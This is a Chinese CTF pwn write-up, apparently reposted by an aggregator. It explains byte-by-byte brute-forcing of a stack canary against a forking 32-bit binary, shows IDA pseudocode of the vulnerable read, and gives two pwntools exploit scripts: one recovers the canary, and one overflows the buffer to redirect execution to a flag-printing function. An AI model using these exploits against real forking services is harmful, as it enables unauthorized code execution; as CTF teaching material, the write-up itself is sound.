[CTF pwn] Canary one by one 暴破

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF pwn] Canary one by one 暴破相关的知识,希望对你有一定的参考价值。


本文主要参考文章Canary学习(爆破Canary),并进行了部分补充和复现。

1、Canary暴破的原理

Canary暴破是除Canary泄露外的另一种针对Canary保护的利用方法。
对Canary而言,虽然每次进程重启后的Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是相同的。
我们可以利用这个特点,逐个字节将Canary爆破出来。
不管是32位,还是64位的Canary,最低的一个字节均为0x00,从这个字节开始,依次破解每个字节:每次填入的值与Canary不匹配,则程序崩溃;每次填入的值与Canary匹配,则继续破解下一个字节。填入最高字节时,Canary匹配,就成功破解出了Canary。

2、题目下载

链接:https://pan.baidu.com/s/1o9kaR7iFpD0ZjAkX0uy8YQ
提取码:r7zj

3、checksec

checksec查看保护机制:
在这里插入图片描述
该程序为32位,开启了Canary和NX保护。

4、IDA分析

使用IDA查看伪代码:
main函数的伪代码为:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __pid_t v3; // [esp+Ch] [ebp-Ch]

  init();
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0);
    }
    else
    {
      puts("welcome");
      fun();
      puts("recv sucess");
    }
  }
  puts("fork error");
  exit(0);
}

main函数中存在fork函数,可以进行Canary爆破。

  • fork返回值为-1时,表示fork进程失败,通常是内存不足或者是用户的。
  • 如果成功创建了进程,在子进程中fork返回0;在父进程中,返回子进程的pid。
    fun函数的伪代码为:
 unsigned int fun()
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v2; // [esp+6Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  read(0, buf, 0x78u);
  return __readgsdword(0x14u) ^ v2;
}

从read的第三个参数以及buf在栈上的偏移,可知read函数存在溢出点。
getflag的伪代码为:

unsigned int getflag()
{
  FILE *stream; // [esp+4h] [ebp-74h]
  char s[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  stream = fopen("./flag", "r");
  if ( !stream )
  {
    puts("get flag error");
    exit(0);
  }
  fgets(s, 100, stream);
  puts(s);
  return __readgsdword(0x14u) ^ v3;
}

可知该函数可打印出flag。

5、暴破Canary的exp

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcome\\n')
canary = '\\x00'
for k in range(3):
    for i in range(256):
        print "the " + str(k) + ": " + chr(i)
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\\n")
        print a
        if "sucess" in a:
                canary += chr(i)
                print "canary: " + canary
                break

运行后可以看到爆破的过程,如果要运行快一些,可以把DEBUG关掉,直接输出结果。
在这里插入图片描述
图中,爆破的Canary的值为0x74353100。

6、拿flag的exp

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcome\\n')
canary = '\\x00'
for k in range(3):
    for i in range(256):
        print "the " + str(k) + ": " + chr(i)
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\\n")
        print a
        if "sucess" in a:
                canary += chr(i)
                print "canary: " + canary
                break
addr = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)

p.send(payload)
p.interactive()

以上是关于[CTF pwn] Canary one by one 暴破的主要内容,如果未能解决你的问题,请参考以下文章

Zctf-pwn

ctf pwn 栈溢出攻防演绎流程图及学习路径v1.0(从入门到进阶,个人整理,持续更新)

Pwn-pwn-200

CTF-PWN练习

0ctf2018 pwn

0ctf-pwn_warmup-re_mips4